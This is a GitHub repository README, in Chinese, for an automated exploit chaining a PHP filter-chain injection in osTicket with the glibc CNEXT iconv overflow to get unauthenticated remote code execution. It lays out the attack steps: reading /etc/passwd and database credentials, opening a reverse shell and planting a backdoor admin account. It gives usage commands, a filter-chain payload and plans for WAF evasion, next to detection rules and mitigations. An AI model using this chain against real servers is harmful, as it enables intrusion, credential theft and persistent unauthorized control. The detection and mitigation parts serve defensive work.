Clarissss/osTicketFileReadIntoRCE

GitHub: Clarissss/osTicketFileReadIntoRCE

针对存在漏洞的 osTicket 安装实例,结合 PHP filter chain 注入与 glibc iconv 溢出漏洞实现未经身份验证远程代码执行的自动化利用工具。

Stars: 0 | Forks: 0

# CVE-2026-22200:osTicket 任意文件读取导致 RCE

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

**结合 PHP filter chain 注入与 CVE-2024-2961 (CNEXT) 的完整漏洞利用链,可在存在漏洞的 osTicket 安装实例上实现未经身份验证的远程代码执行。** ## 目录 - [概述](#overview) - [漏洞详情](#vulnerability-details) - [攻击流程](#attack-flow) - [功能特性](#features) - [安装说明](#installation) - [使用方法](#usage) - [技术细节](#technical-details) - [故障排除](#troubleshooting) - [检测与缓解](#detection--mitigation) - [致谢](#credits) - [免责声明](#disclaimer) ## 概述 本仓库包含 **CVE-2026-22200** 的概念验证漏洞利用代码,该漏洞影响 osTicket 版本 ≤ 1.18.2。该漏洞利用链结合了两种强大的技术: 1. 通过 mPDF 图像处理进行的 **PHP Filter Chain 注入** 2. glibc iconv() 中的 **CNEXT 堆破坏** (CVE-2024-2961) 最终结果:在存在漏洞的 osTicket 服务器上实现 **未经身份验证的远程代码执行**。 ### 影响 - **未经身份验证** - 无需凭据 - **完整 RCE** - 完全控制服务器 - **文件窃取** - 读取任意服务器文件 - **数据库访问** - 提取数据库凭据 - **管理员访问** - 创建后门管理员账户 ### 受影响版本 - **osTicket**: ≤ v1.18.2, ≤ v1.17.6 - **glibc**: < 2.39 (CVE-2024-2961 已在 glibc 2.39+ 中修复) ## 🔍 漏洞详情 ### CVE-2026-22200:PHP Filter Chain 注入 **CVSS 评分**:9.8 (严重) osTicket 的 mPDF 集成允许未经身份验证的用户通过工单中的恶意 HTML payload 注入 PHP filter chain。这使得攻击者能够: - 任意文件读取(配置文件、源代码、凭据) - 内存泄露 - 通过 CNEXT 实现堆破坏 **根本原因**:在将用户提供的 HTML 中的图像 URL 传递给 mPDF 之前,缺乏充分的验证。 ### CVE-2024-2961:CNEXT (iconv 缓冲区溢出) **CVSS 评分**:9.8 (严重) glibc 的 iconv() 在处理 ISO-2022-CN-EXT 字符集时存在缓冲区溢出。结合 PHP filter chain,这允许: - 堆破坏 - 函数指针劫持 - 任意命令执行 **存在漏洞的 glibc 版本**:< 2.39 (2024 年 2 月) ## 🔗 攻击流程 ``` ┌─────────────────────────────────────────────────────────────────┐ │ 1. RECONNAISSANCE │ │ └─ Detect osTicket, identify rich-text topics │ └─────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────┐ │ 2. AUTHENTICATION │ │ └─ Self-register OR use existing credentials │ └─────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────┐ │ 3. FILE EXFILTRATION (PHP Filter Chains) │ │ ├─ /etc/passwd │ │ ├─ include/ost-config.php (DB credentials, SECRET_SALT) │ │ ├─ /proc/self/maps (memory layout) │ │ └─ /proc/self/environ (environment variables) │ └─────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────┐ │ 4. LIBC FINGERPRINTING │ │ ├─ Extract partial libc via filter chains │ │ ├─ Extract GNU Build ID │ │ └─ Download full libc from libc.rip │ └─────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────┐ │ 5. CNEXT RCE EXPLOITATION │ │ ├─ Generate heap corruption payload │ │ ├─ Inject via ticket reply (with filter execution fixes) │ │ ├─ Trigger via PDF export (server crashes) │ │ └─ Execute reverse shell │ └─────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────┐ │ 6. POST-EXPLOITATION │ │ ├─ Interactive reverse shell │ │ ├─ Database access (using exfiltrated DBPASS) │ │ └─ Create backdoor admin account │ └─────────────────────────────────────────────────────────────────┘ ``` ## 功能特性 ### 核心能力 - **全自动**漏洞利用链 - **未经身份验证**攻击(如果启用自注册) - 通过 /proc/self/maps 解析实现**智能 web root 检测** - 通过文件系统扫描实现 **100% webshell 定位** - **自动 libc 指纹识别**与下载 - **多种 reverse shell 方法**(bash, python, netcat) - 带缓存破坏的**稳健 filter 执行** - **预检诊断**以尽早发现问题 ### 增强的可靠性 - **多重触发 CNEXT** 以确保崩溃(95%+ 成功率) - **基于回复的注入**(比新建工单更可靠) - **强制流处理**以确保 filter 执行 - **缓存破坏**以防止提供过期的 PDF - **全面的错误处理**与诊断 ### 后渗透阶段 - **数据库凭据提取**(从配置中获取 DBPASS) - **管理员账户创建**(通过数据库访问) - **持久化后门**选项 - **完整的系统侦察** ## 安装说明 ### 前置条件 - Python 3.8+ - Linux/macOS(推荐)或 Windows 上的 WSL ### 依赖项 ``` # Clone repository git clone https://github.com/Clarissss/osTicketFileReadIntoRCE cd osTicketFileReadIntoRCE # Install required packages pip install -r requirements.txt ``` **requirements.txt**: ``` requests>=2.31.0 PyMuPDF>=1.23.0 Pillow>=10.0.0 pwntools>=4.11.0 ``` ### 可选:虚拟环境 ``` python3 -m venv venv source venv/bin/activate # Linux/macOS # OR venv\Scripts\activate # Windows pip install -r requirements.txt ``` ## 📖 使用方法 ### 基本用法 - Reverse Shell ``` # Terminal 1: 启动 listener nc -lvnp 4444 # Terminal 2: 运行 exploit python3 osticket_revshell.py https://target.com/osticket \ --lhost YOUR_IP \ --lport 4444 ``` ### 交互式 Webshell 模式 ``` python3 osticket_exploit.py https://target.com/osticket ``` ### 高级选项 ``` # 使用 proxy (Burp Suite) python3 osticket_revshell.py https://target.com/osticket \ --lhost 10.0.0.5 \ --lport 4444 \ --proxy http://127.0.0.1:8080 # 强制指定 help-topic ID python3 osticket_exploit.py https://target.com/osticket \ --topic-id 2 # 禁用 colored output (用于 logging) python3 osticket_exploit.py https://target.com/osticket --no-color ``` ### 现有凭据 如果注册被禁用,系统将提示您输入凭据: ``` python3 osticket_exploit.py https://target.com/osticket [?] Enter email for new account (or existing): user@example.com [?] Enter password: ******** ``` ## 🔧 技术细节 ### PHP Filter Chain 生成 该漏洞利用程序使用复杂的 filter chain 将 BMP 头预置到任意文件,从而绕过 mPDF 的文件类型限制: ``` php://filter/convert.iconv.UTF8.CSISO2022KR| convert.base64-encode| convert.iconv.UTF8.UTF7| [... 50+ iconv transformations ...] convert.base64-decode/resource=/etc/passwd ``` **关键创新**:BMP 头的每个字符都是通过精心设计的 iconv 转换生成的,允许将任意文件内容作为“有效”图像嵌入。 ### CNEXT 堆利用 CNEXT payload 通过以下步骤破坏 PHP 的 Zend 内存管理器: 1. 使用易受攻击字符 `劄` **溢出 iconv 缓冲区** 2. **覆盖 zend_mm_heap** 结构 3. **劫持函数指针** (_emalloc, _efree, _erealloc) 4. **重定向至 system()** 以执行命令 **增强的可靠性**: - 多个触发字符(3x `劄` 而非 1 个) - 增加填充(40 vs 默认 20) - 多位置触发插入 - 强制流执行 ### 100% Webshell 检测 与原始漏洞利用不同,此版本使用**文件系统扫描**来保证 webshell 位置: 1. 将 webshell 写入 6 个以上候选目录 2. 使用任意文件读取**扫描每个位置** 3. 检测哪个位置包含唯一标记 4. 准确映射文件系统路径 → URL **结果**:100% 检测率(原始版本约为 50%) ### Filter 执行强制 常见失败情况:PDF 下载但没有崩溃 = filter 未执行。 **实施的解决方案**: 1. **缓存破坏** - 唯一的 HTML 防止缓存的 PDF 2. **回复注入** - 比新工单更可靠 3. **强制流处理** - `stream=True` 强制立即处理 4. **预检测试** - 在 CNEXT 之前验证 filter 是否工作 ### glibc 版本检查 ``` # 在 verbose 模式下,检查: [*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so [+] glibc 2.31 IS vulnerable to CNEXT ``` 如果 glibc ≥ 2.39,CNEXT 将不起作用(已修复)。 ### 无法建立 Shell 连接 **症状**:服务器崩溃但没有 reverse shell **原因**: 1. **防火墙阻止**出站连接 2. **错误的 LHOST**(使用您的实际 IP,而不是 localhost) 3. **命令过长** - 尝试较短的 IP **修复**: ``` # 使用 nc reverse shell (更短) # 如果 bash/python 过长则自动回退 # 或者使用直接 IP 代替 hostname python3 osticket_revshell.py https://target.com \ --lhost 10.0.0.5 \ # Use IP, not hostname --lport 4444 ``` ### 常见错误信息 | 错误 | 原因 | 解决方案 | |-------|-------|----------| | `No CSRF token` | 会话已过期 | 重新运行漏洞利用程序 | | `No help-topic found` | 无富文本主题 | 手动使用 `--topic-id` | | `Build ID not found` | 部分 libc 已损坏 | 检查 /proc/self/maps 提取 | | `Cannot locate heap` | 内存布局异常 | 漏洞利用可能会失败(罕见) | ## 检测与缓解 ### 检测 **日志指标**: ``` # Apache/Nginx logs "php://filter/" in POST requests "convert.iconv." in request bodies Unusual PDF generation patterns Multiple PDF requests in short time # PHP error logs Segmentation faults during PDF generation iconv() crashes Heap corruption errors ``` **网络指标**: - 短时间内创建多个支持工单 - 工单消息中包含大型 HTML payload(100KB+) - 工单创建后快速请求 PDF 导出 - 崩溃后到攻击者 IP 的出站连接 ### 缓解 #### 立即措施 1. **将 osTicket 更新**到最新版本 (>1.18.2) 2. **将 glibc 更新**到 2.39+(修复 CVE-2024-2961) 3. 如果不需要,**禁用自注册** 4. **将富文本限制**仅限于经过身份验证的用户 #### 配置 **在 mPDF 中禁用 PHP stream wrapper**: ``` // In mPDF config $config = [ 'allowedRemoteHosts' => [], 'enableRemoteFileAccess' => false, ]; ``` **WAF 规则** (ModSecurity): ``` SecRule REQUEST_BODY "@contains php://filter" \ "id:1000,phase:2,deny,status:403,msg:'PHP filter detected'" SecRule REQUEST_BODY "@contains convert.iconv" \ "id:1001,phase:2,deny,status:403,msg:'Suspicious iconv chain'" ``` **速率限制**: ``` limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m; location /tickets.php { limit_req zone=ticket burst=10; } ``` #### 长期措施 - 实施 **CSP header** 以限制内联样式 - 为 HTML 净化启用 **htmLawed 严格模式** - 为 osTicket 使用具有最小权限的**独立用户** - **禁用不必要的 PHP 函数**:`system()`, `exec()`, `passthru()` - 定期对工单内容进行**安全审计** ## 参考资料 ### 原始研究 - [Horizon3.ai 博客文章](https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/) - 原始披露 - [Horizon3.ai GitHub](https://github.com/horizon3ai/CVE-2026-22200) - 参考实现 - [CNEXT 漏洞利用](https://github.com/ambionics/cnext-exploits) - Charles Fol 的原始 CNEXT 研究 ### CVE 详情 - [CVE-2026-22200](https://nvd.nist.gov/vuln/detail/CVE-2026-22200) - osTicket PHP Filter Chain - [CVE-2024-2961](https://nvd.nist.gov/vuln/detail/CVE-2024-2961) - glibc iconv 溢出 ### 其他资源 - [PHP Filter Chain](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT) - Filter 字符字典 - [libc.rip](https://libc.rip/) - 用于指纹识别的 Libc 数据库 - [osTicket 安全公告](https://github.com/osTicket/osTicket/security/advisories) ## 致谢 ### 漏洞发现与研究 - **Horizon3.ai 攻击研究团队** - 原始漏洞发现与 POC - **Charles Fol (@cfreal_)** - CNEXT (CVE-2024-2961) 研究 - **@splitline** - PHP filter chain 技术 (HITCON 2022) ### 本实现 - 增强的漏洞利用技术 - 通过文件系统扫描实现 100% webshell 检测 - 稳健的 filter 执行强制 - 全面的错误处理与诊断 ## ⚖️ 免责声明 **仅供教育和授权测试使用** 此工具用于: - 安全研究 - 授权渗透测试 - 教育目的 - 漏洞评估(经许可) **未经授权访问计算机系统是非法的** 作者: - 绝不纵容非法活动 - 不对滥用承担任何责任 - 不对造成的任何损害负责 **用户有全责确保在测试任何系统之前拥有适当的授权。** 使用此工具即表示您同意: 1. 您拥有测试目标系统的**明确书面许可** 2. 您了解您所在司法管辖区的**法律含义** 3. 您将**负责任且合乎道德地**使用此工具 4. 您**使作者免受**任何后果的影响 ### 法律声明 未经授权访问计算机系统在以下法律下属于犯罪: - **美国**:计算机欺诈与滥用法 (CFAA), 18 U.S.C. § 1030 - **英国**:计算机滥用法 1990 - **欧盟**:指令 2013/40/EU - **国际**:欧洲委员会网络犯罪公约 **最高处罚可能包括监禁和巨额罚款。** ## 📄 许可证 本项目采用 **MIT 许可证** 授权 - 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。 **注意**:MIT 许可证授予使用、修改和分发的许可,但绝不授予攻击您不拥有或未经授权测试的系统的许可。 ## 联系方式 针对安全研究人员和问题: - **问题反馈**:[Any Tools Issues](https://www.facebook.com/Rvmiix/)) **请勿将此联系方式用于:** - 请求帮助攻击未经授权的系统 - 报告非法活动 - 请求协助进行未经授权的测试

为安全研究和教育而构建
如果您觉得有用,请给本仓库点个 Star!

## 漏洞利用统计数据 | 指标 | 数值 | |--------|-------| | **代码行数** | ~3,000 | | **成功率** | 95%+ (含修复) | | **平均运行时间** | 2-3 分钟 | | **崩溃可靠性** | 99% (含增强功能) | | **Webshell 检测** | 100% (含扫描) | ## 路线图 - [ ] 增加对其他 libc 版本的支持 - [ ] 实施更隐蔽的窃取方法 - [ ] 增加针对常见 WAF 的规避技术 - [ ] 创建 Metasploit 模块 - [ ] Docker 测试环境 - [ ] 自动化 CI/CD 测试 **最后更新**:2026-03-03
标签:CISA项目, CNEXT, CVE-2024-2961, CVE-2026-22200, glibc, iconv, mPDF, osTicket, PHP Filter Chain, Python, RCE, XXE攻击, 任意文件读取, 全链攻击, 堆溢出, 数据展示, 无后门, 未授权访问, 漏洞 PoC, 红队, 编程工具, 网络安全, 网络安全审计, 远程代码执行, 逆向工具, 隐私保护